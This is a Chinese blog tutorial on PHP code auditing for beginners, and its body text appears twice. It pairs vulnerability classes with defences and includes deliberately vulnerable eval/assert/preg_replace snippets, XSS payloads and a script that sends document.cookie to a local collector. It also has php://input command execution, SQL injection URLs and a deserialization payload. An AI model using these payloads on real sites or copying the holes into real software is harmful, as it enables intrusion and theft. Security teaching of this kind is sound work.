2018最新代码审计教程笔记-代码审计入门
2017-12-29 19:21
302 查看
由于之前的学习不是非常的系统,故此重新整理学习“代码审计”,博客也更新相关内容。
0x01:调试函数
echo (print): 这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行 到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump
这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口 返回值,或者某些不太确定变量的时候,都可以使用这两个
API。
var_dump 会额外输出数据类型: print_r
输出:格式很整齐,跟 var_dump
的区别是没有类型数据,并且布尔值 的 false
和值 NULL
输出为空 var_export
输出,所有的数据是可以作为组织好的变量输出的,都是能够作为 直接赋值使用: 需要注意的一点是, var_export
对于资源型的变量会输出 NULL debug_zval_dump
输出结果跟 var_dump
类似,唯一增加的一个值是 refcount, 就是记录一个变量被引用了多少次,这是
php 的
copy on write (写时复制)
的 机制的一个重要特点。
exit()退出函数
0x02:注释
// 这是单行注释
/* 这个是多行注释 */
0x03: 单引号跟双引号的区别
双引号解析变量 单引号不解析变量
0x04:超全局变量
超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
在 php 中可由用户操作的全局变量列表如下:
$GLOBALS — 引用全局作用域中可用的全部变量
$_SERVER — 服务器和执行环境信息
$_GET — HTTPGET
变量
$_POST — HTTPPOST
变量
$_FILES — HTTP
文件上传变量
$_REQUEST — HTTPRequest
变量
$_SESSION — Session
变量
$_ENV — 环境变量
$_COOKIE — HTTPCookies
0x05:命令注入
攻击:
PHP 执行系统命令可以使用以下几个函数:
Linux Unix Windos
system、exec、passthru、
``(反引号)、shell_exec、popen、proc_open、pcntl_exec
语法:
String system (string$command[,int&$return_var])
String exec(string$command[,array&$output[,int&$return_var]])
voidpassthru(stringcommand,int&return_var)
String shell_exec(stringcommand) 需要echo与反引号类似
`` 反引号
resourcepopen(string$command,string $mode)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env[,array$other_options]]])
voidpcntl_exec(string$path[,array$args [,array$envs]])
防御:
当用户提供的数据传入此函数,使用 escapeshellarg()
或 escapeshellcmd() 来确保用户欺骗 系统从而执行任意命令。
语法:escapeshellarg(string$arg)
可以用到 php 的安全中,会过滤掉
arg 中存在的一些特殊字符。在输入的参数中如果包含中 文传递给
escapeshellarg,会被过滤掉。
escapeshellcmd(string$command)
escapeshellcmd()函数会转义命令中的所有 shell
元字符来完成工作。这些元字符包括: #&;` , |*?~ <>^()[]{}$\\。
0x06:命令注入函数
常见代码执行函数 eval
、assert 、preg_replace
1.eval函数代码执行注入
<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; eval("\$dyboy=$dyboy;");
}
?>
2.assert 代码执行注入
<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; assert("\$dyboy=$dyboy;");
}
?>
3.preg_replace 正则代码执行注入
当 pattern 中存在/e
模式修饰符,即允许执行代码。(简而言之:有/****e***这样的字串儿存在即可)
pattern 在一个参数
<?php
echo$regexp= $_GET['reg'];
$var='<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp",'\\1', $var);
?>
Replacement() 第二个参数
<?php preg_replace("/dyboy/e",$_GET['dyboy'],"Ilove dyboy"); ?>
preg_replace()第三个参数注射
<?php preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies","\\1", $_GET['dyboy']); ?>
最喜欢看到的情况
0x07:XSS漏洞(脚本代码执行漏洞)
反射型、存储性、DOM型
一.反射型
1.直接输出
<?php echo $_GET['dyboy']; ?>
2.$_SEVER变量(需要找到他们的输出地方)
$_SERVER['PHP_SELF']
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REFERER']
$_SERVER['REQUEST_URI']
3.HTTP请求头
User-Agent
Referer
4.利用:
Test<script>alert(1);</script>
Cookie
<script>
var i=newImage;
i.src="http://localhost:81/xss.php?c="%2bdocument.cookie;
</script>
Modify headers
二、存储型
1.审计sql语句
关注用户可输入传参到数据库的内容是否过滤完整
DVWA上自行测试
2.过滤
Htmlspecialchars()输出处转义
三、DOM型
0x08:文件包含(本地包含&远程包含)
include,include_once,require,require_once
在 PHP 中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的
PHP 代码会被执行。
下面对它们之间的区别进行解释:
include():当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来, 发生错误时只给出一个警告,继续向下执行。
include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():
1.require()与 include()的区别在于
require()执行如果发生错误,函数会输出错误信 息,并终止脚本的运行。
2.使用 require()函数包含文件时,只要程序一执行,立即调用文件,而
include()只有程序执行到该函数时才调用。
require_once():它的功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
本地包含: 受 gpc
影响 截断%00 (5.3.4>php版本才可使用00截断)
远程包含: allow_url_fopen
和 allow_url_include 为
On
http://www.dyboy.cn/url_include_test.txt
伪协议:(查看源码)
1.在 allow_url_include= On
且 PHP>=5.2.0 POST型
参数:php://input
Data: <?php systemn(‘ipconfig’); ?>
-------------input的内容为data,可以是字符串儿如上,我们直接代码执行
2.无要求(本地文件内容包含转化为base64编码的字串儿)GET型
参数:php://filter/read=convert.base64-encode/resource=index.php
0x09:SQL注入
什么是 SQL 注入(SQLInjection)
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web
应用程序,而这些 输入大都是 SQL
语法里的一些组合,通过执行 SQL
语句进而执行攻击者所要的操 作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
审计SQL语句
SELECT,DELETE,UPDATE,INSERT
输入参数
Sql语句中的宽字节“運” %23=# %27=’ %5c=\
Example:%df\’
= %df%5c%27=縗’
http://www.test.com:81/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
攻击:
http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20f rom%20book
防御:
通过转义的方式
1.开启 gpc
2.mysql_real_escape_string
3.addslashes tips:${${phpinfo();}}
4..关键字过滤
0x10:CSRF跨站请求伪造
攻击:
查看表单提交的地方
比如用户资料修改,管理员的操作是否验证
防御:
1.验证 HTTP Referer
字段
2.在请求地址中添加 token
并验证
3.在 HTTP
头中自定义属性并验证
0x11:动态函数执行与匿名函数执行
一:动态函数执行:
函数与函数之间的调用,可能会造成的漏洞。
二:匿名函数执行: 匿名函数(Anonymousfunctions) ,也叫闭包函数(closures),允许 临时创建一个没有指定 名称的函数。最经常用作回调函数(callback)参数的值。
create_function 创建匿名函数
动态函数Example:
http://www.test.com:81/safe/test.php?fun=phpinfo
匿名函数:
http://www.test.com:81/safe/test.php?fun=1));}phpinfo();//
构造参数实现代码执行
0x12:
unserialize 反序列化漏洞
(算是二次漏洞利用)
1.unserialize 函数的参数可控
2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类
3.对象中的成员变量的值
反序列化的变量会覆盖变量中的值
Example:
反序列化:
http://www.test.com:81/safe/test.php?unse=O:4:%22demo%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}
0x13:变量覆盖漏洞
至少存在$$
变量覆盖漏洞产生的原因有两种:
1.register_globals 为 on
的情况,PHP4
默认开启,PHP5
以后默认关闭。
2.人为注册成为全局变量
全局变量的取值与赋值
0x14:文件管理漏洞
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可 能成为高危漏洞
常见函数 copy、rmdir、unlink、delete、fwrite、
chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents
、fread、readfile、ftruncate、
file_put_contents、fputcsv、fputs fopen
增 删
改 查
0x15:文件上传漏洞
审计函数:move_uploaded_file
超全局变量$_FILES
攻击:
1.后缀名是图片格式
2.前缀名不能是外部提交的
3.上传的目录不可以是获取外部提交的路径 1.asp;/1213.asp.jpg
防御:
1. 使用白名单方式检测文件后缀
2.上传之后按md5(‘str’+时间)生成文件名称
3. 上传目录脚本文件不可执行
4. 注意%00
截
5. Content-Type 验证
基本上就没啥了,后续会更新一些实战(最新漏洞)的内容,本文章参考网上大部分的审计教程总结而来,(算是信息安全专业的代码审计入门干货),大家有任何问题都可以直接Q我(问问题请直接入主题,截图+问题,不要问在不在!!!),关注本博客或者DYBOY.CN即可获得最新的资源和教程哦~
注:本文属于原创文章,转载请注明本文地址!
作者QQ:1099718640
CSDN博客主页:http://blog.csdn.net/dyboy2017
Github开源项目:暂无开源
0x01:调试函数
echo (print): 这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行 到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump
这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口 返回值,或者某些不太确定变量的时候,都可以使用这两个
API。
var_dump 会额外输出数据类型: print_r
输出:格式很整齐,跟 var_dump
的区别是没有类型数据,并且布尔值 的 false
和值 NULL
输出为空 var_export
输出,所有的数据是可以作为组织好的变量输出的,都是能够作为 直接赋值使用: 需要注意的一点是, var_export
对于资源型的变量会输出 NULL debug_zval_dump
输出结果跟 var_dump
类似,唯一增加的一个值是 refcount, 就是记录一个变量被引用了多少次,这是
php 的
copy on write (写时复制)
的 机制的一个重要特点。
exit()退出函数
0x02:注释
// 这是单行注释
/* 这个是多行注释 */
0x03: 单引号跟双引号的区别
双引号解析变量 单引号不解析变量
0x04:超全局变量
超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
在 php 中可由用户操作的全局变量列表如下:
$GLOBALS — 引用全局作用域中可用的全部变量
$_SERVER — 服务器和执行环境信息
$_GET — HTTPGET
变量
$_POST — HTTPPOST
变量
$_FILES — HTTP
文件上传变量
$_REQUEST — HTTPRequest
变量
$_SESSION — Session
变量
$_ENV — 环境变量
$_COOKIE — HTTPCookies
0x05:命令注入
攻击:
PHP 执行系统命令可以使用以下几个函数:
Linux Unix Windos
system、exec、passthru、
``(反引号)、shell_exec、popen、proc_open、pcntl_exec
语法:
String system (string$command[,int&$return_var])
String exec(string$command[,array&$output[,int&$return_var]])
voidpassthru(stringcommand,int&return_var)
String shell_exec(stringcommand) 需要echo与反引号类似
`` 反引号
resourcepopen(string$command,string $mode)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env[,array$other_options]]])
voidpcntl_exec(string$path[,array$args [,array$envs]])
防御:
当用户提供的数据传入此函数,使用 escapeshellarg()
或 escapeshellcmd() 来确保用户欺骗 系统从而执行任意命令。
语法:escapeshellarg(string$arg)
可以用到 php 的安全中,会过滤掉
arg 中存在的一些特殊字符。在输入的参数中如果包含中 文传递给
escapeshellarg,会被过滤掉。
escapeshellcmd(string$command)
escapeshellcmd()函数会转义命令中的所有 shell
元字符来完成工作。这些元字符包括: #&;` , |*?~ <>^()[]{}$\\。
0x06:命令注入函数
常见代码执行函数 eval
、assert 、preg_replace
1.eval函数代码执行注入
<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; eval("\$dyboy=$dyboy;");
}
?>
2.assert 代码执行注入
<?php
if(isset($_GET['dyboy'])){
$dyboy=$_GET['dyboy']; assert("\$dyboy=$dyboy;");
}
?>
3.preg_replace 正则代码执行注入
当 pattern 中存在/e
模式修饰符,即允许执行代码。(简而言之:有/****e***这样的字串儿存在即可)
pattern 在一个参数
<?php
echo$regexp= $_GET['reg'];
$var='<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp",'\\1', $var);
?>
Replacement() 第二个参数
<?php preg_replace("/dyboy/e",$_GET['dyboy'],"Ilove dyboy"); ?>
preg_replace()第三个参数注射
<?php preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies","\\1", $_GET['dyboy']); ?>
最喜欢看到的情况
0x07:XSS漏洞(脚本代码执行漏洞)
反射型、存储性、DOM型
一.反射型
1.直接输出
<?php echo $_GET['dyboy']; ?>
2.$_SEVER变量(需要找到他们的输出地方)
$_SERVER['PHP_SELF']
$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_REFERER']
$_SERVER['REQUEST_URI']
3.HTTP请求头
User-Agent
Referer
4.利用:
Test<script>alert(1);</script>
Cookie
<script>
var i=newImage;
i.src="http://localhost:81/xss.php?c="%2bdocument.cookie;
</script>
Modify headers
二、存储型
1.审计sql语句
关注用户可输入传参到数据库的内容是否过滤完整
DVWA上自行测试
2.过滤
Htmlspecialchars()输出处转义
三、DOM型
0x08:文件包含(本地包含&远程包含)
include,include_once,require,require_once
在 PHP 中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的
PHP 代码会被执行。
下面对它们之间的区别进行解释:
include():当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来, 发生错误时只给出一个警告,继续向下执行。
include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用一次。
require():
1.require()与 include()的区别在于
require()执行如果发生错误,函数会输出错误信 息,并终止脚本的运行。
2.使用 require()函数包含文件时,只要程序一执行,立即调用文件,而
include()只有程序执行到该函数时才调用。
require_once():它的功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
本地包含: 受 gpc
影响 截断%00 (5.3.4>php版本才可使用00截断)
远程包含: allow_url_fopen
和 allow_url_include 为
On
http://www.dyboy.cn/url_include_test.txt
伪协议:(查看源码)
1.在 allow_url_include= On
且 PHP>=5.2.0 POST型
参数:php://input
Data: <?php systemn(‘ipconfig’); ?>
-------------input的内容为data,可以是字符串儿如上,我们直接代码执行
2.无要求(本地文件内容包含转化为base64编码的字串儿)GET型
参数:php://filter/read=convert.base64-encode/resource=index.php
0x09:SQL注入
什么是 SQL 注入(SQLInjection)
SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web
应用程序,而这些 输入大都是 SQL
语法里的一些组合,通过执行 SQL
语句进而执行攻击者所要的操 作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
审计SQL语句
SELECT,DELETE,UPDATE,INSERT
输入参数
Sql语句中的宽字节“運” %23=# %27=’ %5c=\
Example:%df\’
= %df%5c%27=縗’
http://www.test.com:81/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
攻击:
http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20f rom%20book
防御:
通过转义的方式
1.开启 gpc
2.mysql_real_escape_string
3.addslashes tips:${${phpinfo();}}
4..关键字过滤
0x10:CSRF跨站请求伪造
攻击:
查看表单提交的地方
比如用户资料修改,管理员的操作是否验证
防御:
1.验证 HTTP Referer
字段
2.在请求地址中添加 token
并验证
3.在 HTTP
头中自定义属性并验证
0x11:动态函数执行与匿名函数执行
一:动态函数执行:
函数与函数之间的调用,可能会造成的漏洞。
二:匿名函数执行: 匿名函数(Anonymousfunctions) ,也叫闭包函数(closures),允许 临时创建一个没有指定 名称的函数。最经常用作回调函数(callback)参数的值。
create_function 创建匿名函数
动态函数Example:
http://www.test.com:81/safe/test.php?fun=phpinfo
匿名函数:
http://www.test.com:81/safe/test.php?fun=1));}phpinfo();//
构造参数实现代码执行
0x12:
unserialize 反序列化漏洞
(算是二次漏洞利用)
1.unserialize 函数的参数可控
2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类
3.对象中的成员变量的值
反序列化的变量会覆盖变量中的值
Example:
反序列化:
http://www.test.com:81/safe/test.php?unse=O:4:%22demo%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}
0x13:变量覆盖漏洞
至少存在$$
变量覆盖漏洞产生的原因有两种:
1.register_globals 为 on
的情况,PHP4
默认开启,PHP5
以后默认关闭。
2.人为注册成为全局变量
全局变量的取值与赋值
0x14:文件管理漏洞
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可 能成为高危漏洞
常见函数 copy、rmdir、unlink、delete、fwrite、
chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents
、fread、readfile、ftruncate、
file_put_contents、fputcsv、fputs fopen
增 删
改 查
0x15:文件上传漏洞
审计函数:move_uploaded_file
超全局变量$_FILES
攻击:
1.后缀名是图片格式
2.前缀名不能是外部提交的
3.上传的目录不可以是获取外部提交的路径 1.asp;/1213.asp.jpg
防御:
1. 使用白名单方式检测文件后缀
2.上传之后按md5(‘str’+时间)生成文件名称
3. 上传目录脚本文件不可执行
4. 注意%00
截
5. Content-Type 验证
基本上就没啥了,后续会更新一些实战(最新漏洞)的内容,本文章参考网上大部分的审计教程总结而来,(算是信息安全专业的代码审计入门干货),大家有任何问题都可以直接Q我(问问题请直接入主题,截图+问题,不要问在不在!!!),关注本博客或者DYBOY.CN即可获得最新的资源和教程哦~
注:本文属于原创文章,转载请注明本文地址!
作者QQ:1099718640
CSDN博客主页:http://blog.csdn.net/dyboy2017
Github开源项目:暂无开源
相关文章推荐
- 2018最新手把手教React Native实战开发视频教程+源码笔记 1-237集
- 2018年最新Spring Boot视频教程附代码笔记资料(50G)
- 区块链教程Fabric1.0源代码笔记之Orderer localconfig
- 【jQuery】jQuery官方基本教程的学习笔记7-代码组织Code Organization
- 【翻译】最新版CodeSmith3.2(.net2.0)教程之二:第一次用CodeSmith生成代码
- datatables服务端分页配置最新教程2018
- ASP代码审计学习笔记 -3.上传漏洞
- JFinal教程JfinalUIB 代码笔记 (2)--- jfinal中视图耗时计算
- JFinal教程JfinalUIB 代码笔记 (5)--- 增加sql打印格式化和参数值输出
- PHP代码审计笔记--SQL注入
- [置顶] PHP语言代码漏洞审计技巧笔记分享
- 2018 最新ZEC挖矿教程(Zcash挖矿教程) windows下 (非Linux系统)
- ASP代码审计学习笔记-1.SQL注入
- 【2018最新】基于java的微信公众号二次开发视频教程
- JFinal教程JfinalUIB 代码笔记 (8)--- 权限设计和分配
- JFinal教程JfinalUIB 代码笔记 (4)--- 高仿mybatis的sql的集中管理
- 【2018版】最新最全的SpringBoot 2.0入门视频课程——笔记
- (2018)Oruxmaps最新离线地图(地图包)制作教程
- 申请github账户,托管代码到github全套教程来了(依据github2017最新版界面)
- php代码审计基础笔记